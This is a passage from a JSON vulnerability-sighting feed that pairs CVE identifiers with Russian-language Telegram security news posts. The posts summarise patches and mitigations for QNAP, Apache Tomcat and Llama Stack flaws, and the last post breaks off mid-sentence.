"2025-01-07T18:39:11.000000Z"}, {"uuid": "0c424f97-f2b0-4f7b-897a-425ca765c59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50397", "type": "seen", "source": "https://t.me/itsec_news/4826", "content": "\u200b\u26a1\ufe0f9.5 \u0431\u0430\u043b\u043b\u043e\u0432 \u0443\u0433\u0440\u043e\u0437\u044b: \u0447\u0435\u043c \u0440\u0438\u0441\u043a\u0443\u044e\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 QNAP\n\n\ud83d\udcac \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f QNAP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u0440\u044f\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 Notes Station 3, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 NAS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-38643 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c 9.3 \u043f\u043e CVSS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0414\u0440\u0443\u0433\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2024-38645 (CVSS: 9.4) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (SSRF), \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 3.9.7.\n\n\u0412 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 QuRouter \u0432\u0435\u0440\u0441\u0438\u0438 2.4.x \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-48860 (CVSS 9.5), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.4.3.106, \u0433\u0434\u0435 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 CVE-2024-48861 (CVSS: 7.3).\n\n\u0422\u0430\u043a\u0436\u0435 \u0432 Notes Station 3 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-38644 (CVSS: 8.7) \u0438 CVE-2024-38646 (CVSS: 8.4) \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0434\u0430\u043d\u043d\u044b\u043c. \u0418\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u0433\u0440\u043e\u0437 \u043f\u043e CVSS \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8.7 \u0438 8.4.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b QNAP AI Core, QuLog Center, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b QTS \u0438 QuTS Hero. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u0432\u044b\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f:\n\nCVE-2024-38647 (CVSS: 7.9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 QNAP AI Core, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 3.4.1.\nCVE-2024-48862 (CVSS: 8.7) \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 QuLog Center \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 1.7.0.831 \u0438 1.8.0.888.\nCVE-2024-50396 (CVSS: 7.7) \u0438 CVE-2024-50397 (CVSS: 7.7) \u043e\u0448\u0438\u0431\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a \u0432 QTS \u0438 QuTS Hero, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 5.2.1.2930 \u0438 h5.2.1.2929.\n\nQNAP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043a \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c VPN \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-11-26T17:52:20.000000Z"}, {"uuid": "85f07171-ef6e-4a66-8b17-61e9024bc51d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/5047", "content": "\u200b\u26a1\ufe0fCVE-2024-56337: \u043d\u043e\u0432\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 Tomcat\n\n\ud83d\udcac\u0424\u043e\u043d\u0434 Apache Software Foundation (ASF) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0430\u0436\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u041f\u041e Tomcat, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (RCE) \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-56337, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b CVE-2024-50379 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 17 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0441 Tomcat \u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u043d\u0435\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443 \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e (\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 readonly \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0432 false), \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u043d\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 Java.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u0442\u0438\u043f\u0430 (Race Condition) Time-of-check Time-of-use (TOCTOU). \u041e\u043d\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043d\u0435\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443, \u043a\u043e\u0433\u0434\u0430 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d \u0441\u0435\u0440\u0432\u043b\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u0434 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043a\u0430\u043a JSP, \u0447\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-56337 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache Tomcat:\n\nApache Tomcat 11.0.0-M1 \u0434\u043e 11.0.1 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 11.0.2 \u0438 \u0432\u044b\u0448\u0435);\nApache Tomcat 10.1.0-M1 \u0434\u043e 10.1.33 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 10.1.34 \u0438 \u0432\u044b\u0448\u0435);\nApache Tomcat 9.0.0.M1 \u0434\u043e 9.0.97 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 9.0.98 \u0438 \u0432\u044b\u0448\u0435).\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u043d\u0435\u0441\u0442\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 Java:\n\n\u0414\u043b\u044f Java 8 \u0438 Java 11: \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e sun.io.useCanonCaches \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 false (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u2014 true).\n\u0414\u043b\u044f Java 17: \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e sun.io.useCanonCaches \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d\u043e \u0443\u0436\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e).\n\u0414\u043b\u044f Java 21 \u0438 \u043d\u043e\u0432\u0435\u0435: \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0436\u0435 \u0431\u044b\u043b\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e.\nASF \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Nacl, WHOAMI, Yemoli \u0438 Ruozhi \u0437\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 KnownSec 404 Team \u0437\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 CVE-2024-56337 \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-24T06:43:49.000000Z"}, {"uuid": "d9f8e9ed-0ec1-4211-81fd-7c40817c6a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/itsec_news/5233", "content": "\u200b\u26a1\ufe0f\u0414\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445: \u0441\u043a\u0440\u044b\u0442\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0418\u0418-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u043e\u0432\n\n\ud83d\udcac \u0412 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 LLM-\u043c\u043e\u0434\u0435\u043b\u0438 Llama \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Meta * \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c , \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 llama-stack inference. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-50050 \u0438 \u043e\u0446\u0435\u043d\u043a\u0443 6.3 \u0438\u0437 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Snyk \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 \u0432 9.3 \u0431\u0430\u043b\u043b\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Llama Stack, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 API-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 Llama \u043e\u0442 Meta. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u00abpickle\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Oligo Security \u0410\u0432\u0438 \u041b\u0443\u043c\u0435\u043b\u044c\u0441\u043a\u0438, \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043e\u043a\u0435\u0442\u0443 ZeroMQ \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 